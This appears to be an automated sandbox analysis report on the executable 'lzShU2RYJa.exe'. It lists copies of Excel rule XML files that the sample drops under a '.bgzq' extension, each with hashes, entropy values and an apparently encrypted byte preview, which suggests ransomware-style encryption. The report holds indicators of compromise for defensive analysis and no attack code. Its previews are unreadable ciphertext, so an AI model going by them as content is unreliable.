Preview:	<?xml.O.._.......yeAoC.J..K_5Y..........IX..w#...}.Q?.3....g...J.:..gX..\..<3rm.....P..K:k.%F.......h.._.H.-u\|v..\|.jj..$.E.G5@....E0....t.4.s<..<t....V..I.;....+...G.......'.2..`gp..o...W...IX.<.....m...A./.![-....:.V....4.}.e.`.+J_..^G.5..j.G.....@..l...S....(]^[)..D4>.h%RX+.....b.HbR....D....k.F.U.N......\v.....?.=........__.kp.....l....1Z.$D...Y.l(.]h....vS.>;]...ge...\|.n.e.d..K..U.D.-^j/.._..>!y.........J.6....\]ey..6...N.Zw..\|_t.W._,1j..+...n..H.>\|. )..=RX.........E8..].-.U....Z.SS.?.-.......&..h..r$.H.y7w ......i.f#((.A.hJ.S..%Z-.M....a\|.BB..1....M.....=&./2W....L...N..Qg....]i.].4$L..<.:.=%..(.QV..P;.b..-pK..{...@.jy.....:...N.7\|,.x)....o.5.".N 8+4...X......V1.d)-..LFT=jSvitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.692171285562491
Encrypted:	false
SSDEEP:	12:AcJt8BMYfWJ+aPgJ0Zbp1xYbndeJ+aYPmIUWMPLLlGwCbq8axjVcii9a:Rt8BMIWAaYJUxi/NYPH1CeVZVbD
MD5:	95B55B7EBFF44BE1C16AB00FBEE7C576
SHA1:	4177875E28BE71BBDA1F5A1C790C56D7DD87143D
SHA-256:	A2880AABEEEB4935D1639F5839F8E58EB40B7FE43CB66054F9F4F9DAA4F1D0C1
SHA-512:	50F50322A7C23B1BB0E2AA2FD0969D41A4F3A1AF32C2562BAD0A040790BA3B706EF4FF22CA6EB52098BDAE08D07B6D64C3129FA30F5EB092598D5AC7B6F2BBBF
Malicious:	false
Preview:	<?xml,{..Vr<..../}x.....~.Ww..stTI'.!.19.h......pt.>...s3.-..\..pE.<a.M...<.#....T].).6....D}hh.L......4t...GjZ.D.8o....u......P1nqQ.....z.x@...]I'./....\..5.,<Es....xT.6.......ZP...../.;............ ..KqguC.:....(.8..;q.K...v..5...e..8.9...0j.d7...m.C.l..&..U."...........5.Pd.....o..I.=m..XL..+XJ.m..E...J...Do..l,G..f.f..SS}..hX. ]..NIu].D;.r.]^}.<.Vd..711..Ye>...k...\..h.M.,.Wg...33r.Kd!........D...6M.@..]...o{Z..B....V....l>wlyQ...]..B.l.Ia.v....}.8y.t(..B{.....]+W.(...}....Mj......S.V.>6{3...xR<5..f.6.4w.V..~fK.....[....T.....*.d..hW..^dld.[#.J...j..1.!c.......M..qG...S.=..Q......!L.s.?U...k..y..f...(.j..%.._.N..`'..!....Z.]$Z...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.705989483685678
Encrypted:	false
SSDEEP:	24:KErfS6kK0qUjBLHB0rIXV/aH9FzXqFzJVbD:KErfIFqUjXhXNgzX+FD
MD5:	5BD97CEB5F00D70005CA480C7BDEEC7A
SHA1:	EDF79D4A31E3D52C1D8E678672DF12327CAD27C9
SHA-256:	7B50D973C1A831CB0D4DCA057916421E6C3D95DA20946ADF277C8248144E1F6C
SHA-512:	60DDC0A5A7DA39F61F21B0C6C90358EF6BED29A06F5D0477F4796813E852F47A7812C4962E1B9576DEDECBF5B45BCADD214B813FA162DDFF273478F5C3D6035E
Malicious:	false
Preview:	<?xml._.N...e.p.d...!,$&........2[..]...S7.y..*.3..;.6..d1...bi....:o8.Y..\yus&tQ.C.6.....yw<.v....E..`[.....F......X2.b.\|......h./..W.u<.\|...5.....zOS....Y-.c.I.C. ..].g.o`@Gb.s..tZ.....OPw"#.%.&......d....%.g.8w....X.L?o.I.Q...@u........#..H.w...`....CK.Ds+`P.mr.(..d.=.4.P..F.cxi.....%...5d..Pi/..'.Bm..X4,.'C...bsA.....8.)...x.>..._z..L$...T...D.hh.:n...Vu...]...&....\l.r.o..DG...R....[...;..Y!j.......x..9WW.......u.._^j.9...;.Y./....>y..-.b}..{3..'_....v..5Sm.m.KQ.){3....v.y.h5.. ..X..K...e.<......bU.d.M...d(...W...eC..z.&.eL..;.....3....`.u."....-.d...k..v.\4\sn...c@.{..k..y.'z.G.....5......C..vi2.l.V.l..Nj..G.P.,=2....x...b{...U.HM..R.v\|......o.u..2....N. ...."7..s...{l.Citkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6588278336313405
Encrypted:	false
SSDEEP:	12:fJiJiEPxX0IZWm0V78ZLwkqKZzkRNojiOhZQnTNT1RcK753ka6rbcs6RJfSxzZKB:fg3xEIt87KgIuT1QK7NyrbekZFI+cVbD
MD5:	9A4BD112F78D17C1079B58DA7DCFCEAA
SHA1:	783C185DB3BDB2875D16E800E7C81EFF805DCDC8
SHA-256:	444E33BE75E3F7162073EC39245F9F61D136A28AC75ED660233A264265C8E131
SHA-512:	99C81B4AD9F388863CF6AB05102715D1C60C7F8ABA801B114DE00DAD025A20A2AD72FE0012385E0772E4310E2F4FAD6A5BE240CE0B2A11DF9FC825EB221E1947
Malicious:	false
Preview:	<?xml..4P.WB{.b..A.p1<.{^@&..%...bd......F(....8..........n`LO.f..(.YC..Lq>.YV.2...0q..U.1Q..7...l8r?j.F........#.9..A.U....(W..R.r9E.^..7+.(.?.KO.W....vU...`.o.F.zK.L_..b....<p..0.w...l..xi.H.`_/.Ci..S\|{.z.V)......jv.7.G.....x...b.....>.".;.Dt.........-...Vh?}f.....%....e.J........3.L.......Kr(j..1..F.;W.t...X....nU...l~Ma~BO.#.V]....W....g*.1....VL....p._.62.b.7..VR.s.......!.".. .a.a.[.y.Z..W]Q.1...(.4H.L.eb.........{...6.?57.7.......L..\|..&..h........u.[..AF.)W.sz_>...._..b.2d....PA.>.c.....\..9..8...IZ~.D....m..zE0..j._D....$..K~..2.S..'....N....+G.k>.p...a~UG..Q.0.z~...S_.x.^... ..c.1y...4........"E:..+...`.a...;...]....eP.H.j.x.L.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.730782667914204
Encrypted:	false
SSDEEP:	24:zakNm1v5JeiyhafNDhwzN7/QPBJ5oLVbD:9m1BJebUNDmcJIFD
MD5:	F65CB1D93CDE9DB1FD380BFAEC4A49F0
SHA1:	7CDB2DD87D4FB01B7CA20E035B25107FD4AD9568
SHA-256:	BE448FDE74D744665498355391BA38AFA668D51346C323C81FDC826E03569AF5
SHA-512:	C3C16C2EB38C2FC1FF052406D057068701E646CE5BBD0F15489F27EDFF1A9FA1FEE6419AAF5FC47518A2473E23E6D1A085848FB58DC0903DF9DEB3C5E11D5442
Malicious:	false
Preview:	<?xml..B.....Q.u..\.....UB.e..C..ii.4.........t.#B....S..HUM..Nt..F..$.>.....q9.un.>.....r.....K6p..!...>.[!xJ.1...`...o^S._...%SsK..k.Z....-V.{...\".s.VU..E....S%w.+M.....*U..P.)...U.....=...C....c...y..u.._7r{.....%..s...\|.M......x....T../.....1..c..Q6(.......1.....dHc...`...w...x..pA`..07.,.H.....:.D..$p.....[5...A.q..Z...!e].Mb...fG..T....q.TY..x=i..h...P.".X..H...;...kC...m1............e.`.#...x..(...\.......U..d@#...!+H.%.Y.(..+.n......H8..!..5..rm ..K..p}d.#..\q.r.....x.g.i.\|v.}..x.....+.q..>QFL}?...[(3h...(.CQ..a.......7Yn.ht.oo<(...1l....u...US.iky>S...V....z.6o.R.5....G.2.ui[qC2j.r....0.R.?..e./..B....L.5..Q.......F).&....7.T...y...5a...fG}+..K3.).atp...NA.$..l1.."..&ya....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7100627424956745
Encrypted:	false
SSDEEP:	12:0phN/jCeBvIuTWKn6zdwKnWIxRJi5AcLDi9M4H7uqLk5nbbB4r6JcryunWjVciik:on+egXzBV4rLDs7uOk5nvGr6FVbD
MD5:	F009FE8C5B37975E24DC6C8B05E1021F
SHA1:	DC46785A7B13FE77DCF1BFD41DE284E35D7EB8ED
SHA-256:	6A833BD7D2406D0B21573F1072C764A0739C14FF418AC3FD73C0A6C806F567D2
SHA-512:	829864FB5620369F7ED37CDAA099A0FEEEB2A2E52B87BF0A92C3BA7B06C13152C89E1C3D808DFD39EEFFFCAE50BCAB921B91D4D3FBC471DC1F44EEB4BFADD2B0
Malicious:	false
Preview:	<?xmlI...{oT...kb..q.!.ZpD'-g.,....s..&...;UY..j."....LV.5....y..D....1..fl\|Q..E.w&..a9.kz..M.-....A.S.....B,..R.....>`s4T$.T#..oz]b....m`....d... ...&<6......}..y`.,O.J...n@r....h7pd1.s..s..a.2x.=..M.....;k...r...rH!.Pj.iT.jD........?.G ...;b3.g.!g4Q.f.2.Q......R._"ejG.vcS.#.......JP...l.......-?:]............D...M..]...O..?{.-c.>,i)h.!b.......R8.}2.X..f..r<...h.u/......^4."L..B.O..,....&.b.].W..#D.....7..nr=.K.2.[.k..&....7K.....u...P.MO..YW..@..=].eg.YL.2....R..7.23..Q.(..&N.k..l4i..al.Q\|k.vj.`..8z..=..v..F...\|.<;O..q.r;...,....H.v....$..C.Z.nR...\|:....%u.O[.6.....1.@......,cE".....V2.y..}.......WC.\|.Y.....2.B..R.$.M.....$2....*r.;.y(x.....- kGTP ....5.e..X...K.a....K.o./.Q{itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.684713891907734
Encrypted:	false
SSDEEP:	12:37N5EM41dEU5TppFVUpSXHgEsTIAYmA+BIak2lrpne6c8vw0CtRL73DTFodrjQoF:sM41dEULLAnIopkMrJlvGrbFAoo+iVbD
MD5:	0B50944A8F82068FA70EFFD9874463F7
SHA1:	F662D6EA78BE5907E56FAAD2E041601DBD317CCE
SHA-256:	29A4D0622EDE5F87ED402F08F56B6BD0FDE324F84D0F99FB3283CD1DBF371357
SHA-512:	6B63153C3358CB71822720C157F689275659B269BB1A26B6C8B595BF34FAB7C0A0941A95315290630D957B0C8F3BB8638F75A0DEC5745FA18C5F6B0A2105144D
Malicious:	false
Preview:	<?xmln..X.[...M.7a...r.z.=r5.5...`.=...l.!.E80..\....Zq....)m...V...U...'........E .)B..8.vA..4.....&Q..9.N...2'.].X.E...t.r....8...H2L..q.)......v.=.2<.. ..].0....-.....S............_....!9......fE.1&4.......tf^..iX.rsq..y.U^....):i...m3..}y.s.F>...f....o4OP....$...g.&m5.3..d"e[6.].).dh...x.6.4.6?_.P.I.u.u%,...`0..{#....W.H.S..G.a...b-...^.I.."p.H..bL.+j;..jBo)... ........H..8..W9..nQ.B..........v...4-Q.>m...._..._.......xN.$..v.cy..e..OL.}...9...j(c....c.'......Z.7S..%...L..A\....Eu.$....v%.\|..1`'e.N..c...6.y....Qd......Z..J..\|t.%.IuXi+-C...M.Vf%8.......$w...Kg.e .A] .... ...p8._.\CEhGl..........Q.`. 3~.=8.....\|.....9.......}.........#.K.......T8t...y5]W...R.....=....)...M.)...S...>itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.682656412220353
Encrypted:	false
SSDEEP:	12:rqzDYLH90QVDBAf5kCfNehlPTp30kCvuISnPLaMVpq4n7xbQo7BgTcejVcii9a:eedY5fonTp3R5P+NCbFytVbD
MD5:	E1424B3DCE5A6A32CBEB343C4A2B223B
SHA1:	604915118E7749C12DF60324F62315B84EFC6E80
SHA-256:	AB472899493E5DB44196C25D0A28A5F27FBF1F043AA65CA54D0A417E981128E0
SHA-512:	A14E856CF308C90AB443733C009E8166B64904F5A14B5520F64450A00C11830B1EFEAF80825C13A60D5D28D78A7F2F481953A9CEB4AFA093E46C4F15EF41D90D
Malicious:	false
Preview:	<?xml....h.9.o.B......#..-...5....$....q..<2..@.....u.._.;.2...........ym.*....J.`...Y.H..9k....4.W",CGc.SVQ...d....+<...;p..X&......G.7.(;p7....&.z.n....e5..........tYGXc.....0om....!...j.[.tS C.....QK...M........>H........Q.z..z... .:.m..OZF.o/...@D....pY.....C.U.@...F%b.h)+.?.yCD.....9..m &pL...+...Ff..r...D.9.O.M?..6.'8.?!.L.....u...t..9...%.J..-.Y.S9Z.......opK.\.M...<Lec.q..n~>O.P..5..X....$q.>.g...p...Gh4(H0.bA.=z.<..(.....\|......:'}...%..Q..,!..@.`.....gvi.!v.......b...R. .6<z.'@N..p...c....z......hR.\.'.....l..u...2...[..O~.Xy...:...-l....-X.......>..`7.`..3l..\|.M.?r(...........l....b.G....!..f.....11.g..mS.nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.728261067422645
Encrypted:	false
SSDEEP:	12:/mIS2pKvoNpK7pUZVEzgQTIHhQFuNALIUIOE8M29ngGi2DfjVcii9a:/Ovo+C80HDvZUgGiKVbD
MD5:	54F8C782CEDA8126734D0FA1F000DB92
SHA1:	91F03C8888696BE75042D55252381CC2F6A8EEDB
SHA-256:	C5A357ACAE142C72B418FE5C0881A1202E0CA4C72AF3C3B2AB86030DD7D242A5
SHA-512:	C065D788C86A0B05C1566B41BEEA69186E5BDA5AC0CAB3CBA297586F073B084AEA10CD7575F2892910A85FD6B2279D1BF83B2B257DE4AD5995BAE9AF93BB6056
Malicious:	false
Preview:	<?xml.."..G..B..W..:8M[.e ......x.b{$...;...$...2..g...."....Tcx.Z..8&...aH........n{.C.?....d..5_]...S.....{...5r..O1.........e.0\.AY.<....B.(.P.Xg.].B....... ....dB.. .......T.Z$...+:...z...L.6.u..u.D...xB..NF@......K.......A\.k...W_.......k5.EM..Z....C.<....../u...le..@..s...!S.CK.y.....Y..U.H0.-...:l.1.E.'.:..kX...;...`.9[^.fj.=..Y..M...........?.$..b, #D....#...:.W.n.D3g....O .c.E..W....h.d's.XG...+r[B..k....!...~l...[=.9..a.a....Z.DF>.....o.ZO-pz..1E9dI.5.....:P.VT)X3!...>...rIe..m.V.)..F.v..b.Z.i.x.d..N=.Z...M.y..A7.........Z..P8...`gRd.A.L7V.uo..f..*..z...".E_..).P....RXG.l../..R..K..U.....b.JT.`..&..,h....O....n.?..)..wB.u...V%.4.u....4..d...5....p}...a[..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.73764466308518
Encrypted:	false
SSDEEP:	12:yq2C05rx7KDUb00ueUSC3otgXee/k4ElST7UmTNvH/y0+6NjVcii9a:yq2C0Xb00uhSC3oeO2h38f6NVbD
MD5:	D0D414C3DAC168DD62A7DB0BA8BD6643
SHA1:	3C2DCC2A0FD473A7125E91DEC193169298EA7F71
SHA-256:	950D9754A58A71DEED0758E625609F3C761A7B40BF0753B5A05DF28DAD3A848C
SHA-512:	C20CB6A52A6DF3C21C0607D352BDAE925D0221C4E2AF14EEAE91998A4ECBF97474EB0839B81B3E3536D4C81366DEA8C1D95698AC6895FB6EBF968769C2AEFF03
Malicious:	false
Preview:	<?xml?h.%....\|...l$.1...'...&......X....C..YM.18Z.....fcZ.k.?.C+...Z..q...a.[.'..rH3v....gm~..sZ.v6.....-}9i.....<.L!.....F.w6D.9CK....EL?e.....).%...-...J...zk-.w.%.0fj..y..K.p].....-..H..%.....X. ....>...A.A.$.6..cI.+..R.;i.a..=.$K,....NQ.Q,9l...:.......V};....-.^.f1p.....G..S.[L.#...e...h @.t.j....C..;..o..A.~.{y?..K....$....@.....u9b..&~.C.}y.\|...y....,]...[...`...t.K!.gF....rj.....L].... m.j.....W..+..]5..S..C...\.e...(#y...O._&.m.....9...I.....9Yw.(.D..7b....E........-"`.X.v.....A...g.*B..4.,.1.../.{;".Jt.9....K....9......X.i.~.E..Tx....\|l._DS&.......~~C._R...8L...A.....O...H.......O.....8.......&k^.TM..7...r. .;hw.{..>..5+.....JO...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.72171756359144
Encrypted:	false
SSDEEP:	24:LRgYPO5ie5HUnsQCkKtuX3MErH91+hVbD:LRDPO5ieJUn7CRZErjeFD
MD5:	AF54BDA1C8702AEA9E286953D6DFA6B1
SHA1:	41A8A84F7D1F1F8A428601F3EED6B15A40DC9BFC
SHA-256:	39BCDADF4D6DB6DAF8C926348DEE8320BBE59D647F400E37D051A9D642F60ACB
SHA-512:	431F5B6DA813D4A7F838AF5E33BAC9F9F27A0CFC225410F0D9FB12601C5F429715FF1D15023AB3FE2349CF53A8765EACCA4F0312DEB2ACBA509F1C89E7006137
Malicious:	false
Preview:	<?xml.@/x.H)=v?."...Ui.0G..J>m..s.G..M.............o,.t...K....G..f.%.ar.d.....bt...A.I.M\|.....E...L......1Z5...(..<7...Q.......Am.x{..=.5.D...G.^&...p.g.a..9....m..N.@...G...0...of.\..~OhyD....]ci}`.....R.j.L._)..H..>.\|.!.a\|.)"N.x.^..>E....X....#.....hh..U.h.m$..rDn........W.]N.......J...U..!....~..R...#.>..w9T<u.G.<t.t.u/..j.'.&....li..^E.....Q..z{.7.1z..`,.}z.D4+..H.t,.+...&(....N..}?X..@....u.5.=s...<<P!.#jQc....:...6.4..#..2.2.. ..X..!..K....;.,.6.....l.J..(..Tr..O?N.\...Z..>N3b&....\|...?......9.Ny.....+\..v.g._.B....}..2.t...D...U..n..d.5'.p.So..6...st.Q..{.y...&...0.%"..C..d......L9...W..0\|.H.S.:.(....T....@.......2...^.LIN0.v.}{.....0...}.p.+.....U....Yn.?.....u.....3".s.t2....b8.0....I..l.Q...v...^itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.694873349986607
Encrypted:	false
SSDEEP:	12:sRWGXpDeKl+0DzZ2DoYYranVSyQIiUlJ4y/uWBcmxPum7Q2n43jVcii9a:rG5ayYYranVSSnLmWBcmxx7GTVbD
MD5:	D08EF96ADA677606F055F8D4CBE12C6D
SHA1:	9DBB0FC0FDDE44A08AD11DF47BE5FC26AE9AD930
SHA-256:	7BFFDAA4AA6AC94F03436E8A5C84E762C848E1274057776F16D2CB49811EDEC1
SHA-512:	7771DF3976607E75D6CD3504C2A3AAE5CDC15AA334B156BFC89A4CEAEFF9021B1CB68BEB2BC2FD6EB1C2D68C0AD1BCF2B806E0500DB9D20F6C6ED2CA29CC96CA
Malicious:	false
Preview:	<?xml.G9..GU.)...TS.....m.......<.%....a..ru.oex..f............n.....X.G.}......4.1..W..x.J..+....7'..H6..kU.....So..f...HY..7.s.Wx......N..%~..].......U..Su...V...6".A...x.'......n.VY.j..x..fQ..0....hZ-!...^/t.D.C0.K..d.U.vb\|..O...ob.}....H.,..zq.K'..dq._..2j..a.$......2..xn;......`l.?..`(.x1.........o?.......;.1....2..F?x.J1..I..\%..R.T.......iD)...i..V...&.M..N....]n.DF.s&=.!m..}..2I.....0.;T.KlX....p.0IM....A...F..I./...S...g.`.S.F1....0m.[.c. .sU. l.\|..oh...v....R.5Z.f\|.e.h....@.Tt<.w......{.\..o..6_.'..NbZ?.0..;....T..:...s...c.i[......9..L.tK..mI....R..#.R..pU..[.5S.`.B.L.>.h..O{r....A."....\|b...(;....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.75898707288482
Encrypted:	false
SSDEEP:	24:XGU5WsKQAaOG7Eu2OmvCFvkIA5b51riVbD:XTQQOOPMJEFD
MD5:	BB98C0579636D69E11C22803C0D05412
SHA1:	CD8B18C0F5DD4F33BAAC34B89DDD78E5CA414B05
SHA-256:	0C06BC18472C391881DEED03648CCEB64C64797E7F682E5873740DD00A6E1603
SHA-512:	46334078753F4D0D1846656FFEFA3DA80960C7FE48BBB56A200067DED0C2AC14FFD1418DBA718E3615C130317B4C222E66D37D1C63B4591032E1C6E2503B9201
Malicious:	false
Preview:	<?xml.....c.V.H.S....?...LLM...v....#....d...FV.QK...r4.,.b.qJ...{.a.M.....%.^?........k..)....p..!...O.fh..........H)9..n...=..B..c.W....}.bY..`......(..E.?2[.f..`...}\|......_%.....?8d/.%).dW...S>.....@(..I..uJ..:....%....J=....4...~.V..{..&......{.c.23q........Al.!.B.R..t..........M...E.l.^ej........Og.z...y.b.........y.......G.%T_..4...g.i%aH..~..(P.T.b..{<..6.q.W.<.=..3..\h........b.%... A...u... .M.c...\ji...].n.T..7.9X...q_..X.a. K>+...Ij.......W....^L+.[u....>.7.s...Hg=........z.........w.F..1.!R..[...6c....`?.i..Y....LO..v.8O....o(..Ci=......_.[*i.jaab...H..B..5...p...N7<wZ.......wz.....(..\|j=.4....yU5.@nw.;4...b....$@.4..&..0.} F.j.."....B.#....U..S.nF.E.!.p..\|..I)itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.7223437369321255
Encrypted:	false
SSDEEP:	12:RmF6W0TWD6+Zp9a/PH9QQLj3C+T4vPiqahv+TK1z448OIAjVcii9a:cV0s60p9aCT4hv+TKN44CiVbD
MD5:	17ACFEB7E6EAC0A1055C992FB250E631
SHA1:	A61849215B00C59ECA75DBED8FB9231789C6FD86
SHA-256:	061A9563F2E505D7E7930D994FACB7EB9845E807841A4CC31374F873BB75B4C2
SHA-512:	AB6678C19EEB3200DAEC61673DE3591690F4AEC027CAB040CFDC6397441BABF44EF43980330A4E8459E0965E93FFBF14724668A5BFA8C8C52C64AB947C62D104
Malicious:	false
Preview:	<?xml..@l.Gp...i....EZ.....{....2.v.6..^2.G...)9w..T;....RU..ok..,...........t.,4.Un.u.m{.u.\...I...u.xh...Q..^~..Z..eW....{. H.}..Z.K....}.l..pb^...4.5..$Kt......`....!.}......\|.H.v3..O....D.>...W..y....4..,.I..M....(..\|.U.s.........i...=.d.G.7.!?}..i......f...s.>2,......]...../...Ce.\|.kJ.^...,..<..&.`.V....+.8..~...}...n....9 /...2S4.K.b...f...L0..I......b.ax../........}F.$a..).I~......?:]G..D . H#.5$.3dA..."^V..h.3....Ag]\|(4....~x.Y.$Ei.B.~......)W...1d....+...o..KY..f<.3...x..... ..^@_.j..........gUs)...TF...A...+.6+.~.U.....p.EI......T.T:.....h%'..Br.*Eg.../............$..`tO.0.[.<Z....]..A+..F.f.&.g2.Y!..p.\itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.704295734668156
Encrypted:	false
SSDEEP:	24:a8el+h7n7tQDufatHUJnhDqb9338zwIVbD:a8elu7eDufaCJnhObV3yJFD
MD5:	794D75450E6315CA0C42FC8BE96A3959
SHA1:	793A67BDFF89560F7C00DB570F34A3E46276FCA4
SHA-256:	3944EC70A7150598C37BDCCA5B525D9EC86C8A53EC7E43DA27F68BC722FFE97F
SHA-512:	DFF6A1858C9937EB57EAC0740D9F24896049AD7DE4D0EF92AF4F72DDBB5B89AE099118BA10A98DB4B9AC154CB7DA6A76FD1A4003ABB456AA36C793D4A5CD67B1
Malicious:	false
Preview:	<?xmlC.Jm...z.D.T...5e...9...V:.=.k.wLZ.t+}...T.p.cE..."..(.....W........8e..&...$.{....@......b...\lk..Y...+..]a.T....^...H.....`...^@...^$...ws.$k..@.t-....7.j..O..E...t...k..P..E..?.n..l.N:X`..W./...R...7.R./(vchxR.)y+/..P.4.9D..F...4.U........~`.B.~..E.CqI.LQJ.....{%X&..+C..bd....-..&P.?.l6.B-..4...'....B.O..G.wL&.z'.......g.<1;..s.I.).J....CkQ..&...:K...........vP.....-^.aax.P.~ .V"..O....7.3..+~.9..........g..kp..K.ICk>=...o....W5CR+d.n..}o.&.$.&.^t..P..."J..~.."....J..c...........)+.....\.:j...@p....o..X#....I....2Wn..G.t.../P...U.....X:m.QZG#...$....F....r.D......{1..vB.o.....Lv..e............sp.'0...\|.... .U.:.......~?......h..O..i..T(.8..5..I.lS.-Hq.'...........Da..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.717238521845362
Encrypted:	false
SSDEEP:	12:e+ElVIn1paCnVnzxtgJ9ezuhVLeQzpYDJn9PKaew6ZPFa8qupHpjShFcsSejVciD:e+El6nqK1xtgJUCh0QzaDJntKweFKupC
MD5:	0CBF9AA28109FA40D94E2573FBB4311E
SHA1:	903295A7211AE5B96B58A939984A34D7EBB13EFB
SHA-256:	C08B0230C48CE6ABE3BEDB7F1C2EC257E2C0B120D5A6F481562F0FB321B8410B
SHA-512:	008CC12894E7A783E044696A0A81E5449555F6E84C02237770F5758E9659ABB644DECD13569B8739213A44FDFE912CD6DD9A025DFB702F149E77A82494FC3A5F
Malicious:	false
Preview:	<?xml.O..j...k......`nk.v..[..r.{.....K.}......%......+.,..d..?..:..\..>.LF`~pxD....sO..\|.............JDieU.[&.E......$...FAS.T...<<..=...-...h(.K:.?.)...../..q..\|6....&.......:R.(.M......<8.......R....XZ.b.(...f.'>."....^...........c.T...BG?...g..=>zf.Q. U..o..IJ. x{......G.c..p...tk...d.^...w..^!~..20.}.....-........P.V !>A.~...^.^..\|...N.vpK..)...V...:.J8.<..!HBjX..QB}...A...8.\|...,.tFsZ#..l>.y.EV..Et.s0.{9)..Q.....E......j..hV.h)^..g..Q.+{..E.(...ZK.l....)\..S.RJ.s.....+....M.....(.C.*.%.....k._r..mJ...x....L,..R.i.u!...A2...#.'$l.l&C.X.i....J5....M,.@.......2OYr..9G.5L.=...b\|....;..!..x...6p{.?Z..=.....s..CyN.....5.kk...r..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

